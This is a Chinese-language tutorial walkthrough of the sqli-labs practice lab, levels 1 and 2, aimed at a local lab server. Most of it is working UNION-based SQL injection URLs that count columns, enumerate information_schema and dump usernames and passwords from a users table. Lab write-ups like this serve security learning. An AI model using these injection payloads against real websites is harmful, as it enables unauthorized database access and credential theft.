sqli-labs
本人才是萌新,看到与本内容相同的文章,纯属意外@无敌的小周,粗来解释一下吧.....略略略
—————————————————————————————————————
废话不多说了,赶紧燥起来~
为了方便学习查看,可以在源码中的$sql下一句语句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)
echo "你的 sql 语句是:".$sql."<br>";
Less-1 基于错误的GET单引号字符型注入
注入点测试
首先在后面加个单引号(当然你要在后面先加?id=一个数字),单引号被自动url编码了
http://192.168.11.112/sqli/Less-1/?id=1'
发现报了sql语句的语法错误,那么应该存在sql注入,因为没过滤单引号,我们就可以闭合单引号来进行注入
报错语句如下:
sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1
第1步首先先查询有几个字段,使用"order by (number)"【因为后面的查询需要用到union,所以这个地方需要猜查询了多少字段】
在这之前首先需要人为的构造sql语句使之闭合,正常进行查询
这里说两种可能遇到的sql语句注释符
1. --【空格】 这里的空格一定要有。
2.# 如果是post注入提交#不用编码也行
有时候需要进行url编码具体的可以自行百度
首先需要知道字段长度为多少,我们可以使用order by 来进行猜测
http://192.168.11.112/sqli/Less-1/?id=1' order by 4 -- %20
报错
EWDED0NYVGT4B3S.png
可以知道前面查询的字段是小于4的
http://192.168.11.112/sqli/Less-1/?id=1' order by 3-- %20
![$UJ9Y{QN~Q)FI3LM89WK.png](https://img.haomeiwen.com/i9272355/536b59ab70316983.png?imageMog现在可以知道查询的字段有3个
第2步查看目标字段在哪个位置显示
【因为sqlib中只能显示1组数据,所以我们需要将前面的主查询改为负或者改为一个较大的数,来使前面的查询为空,从而为后面构造的union查询让出地方】
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,3 --%20
图片.png
第3步 将上面的2,3 进行替换
user()
database()
version()
@@datadir 当前数据库物理地址
@@hostname 这台主机名
@@VERSION 数据库版本
@@version_compile_os 查看操作系统
我这里查询的数据库版本信息和当前数据库
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,database(),version() --%20
图片.png
现在可以知道数据库版本为5.5.53;当前数据库为 security。
mysql数据库information_schema,他是系统数据库,默认安装完就存在,其中记录的是当前数据库的数据库,表,列(字段),用户权限等信息,下面说一下常用的几个表
- SCHEMA表存储mysql所有数据库的基本信息,包括数据库名,编码类型,路径等,show databases的结果取之于此。
- TABLES表:存储mysql 中的表信息,这个表示基本表还是系统表,数据库引擎是什么,表有多少行,创建时间,最后更新时间 show tables from schemaname的结果取之于此
- COLUMNS表:提供表中的的咧信息,详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,lieder编码类型,列的权限,列的注释等 是show columns form schemaname.tablename的结果取于此表
接下来查询表名
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
图片.png
可以查询到users表,猜测里面可能有我们想要的账号以及密码
接下来继续查询表中的字段
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 1,1--%20
图片.png
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1--%20
图片.png
经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码
最后我们可以根据字段直接在users表中进行查询
http://192.168.11.112/sqli/Less-1/?id=1000' union select 1,username,password from users limit 2,1 --%20
图片.png
表里面其他的数据,自行遍历
Less-2(基于错误的GET整型注入)
这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号)
http://192.168.11.112/sqli/Less-2/?id=1 order by 4 --%20
可以知道前面查询的字段是小于4的
http://192.168.11.112/sqli/Less-2/?id=1 order by 3 --%20
图片.png
现在就可以知道查询的字段有3个
查看目标字段在哪个位置上面显示
http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,3 --%20
图片.png
第3步 将上面的2,3 进行替换,我这里查询的数据库版本信息和当前数据库
http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,database(),version() --%20
图片.png
接下来查询表名
http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1 --%20
图片.png
可以查询到users表,猜测里面可能有我们想要的账号以及密码
接下来继续查询我们想要的表中的字段
http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,2,column_name from information_schema.columns where table_name='users' limit 2,1 --%20
图片.png
经过测试我们可以知道有几个字段有username,password,可能就是我们想要的用户名密码
http://192.168.11.112/sqli/Less-2/?id=-1 union select 1,username,password from users limit 2,1 -- %20
图片.png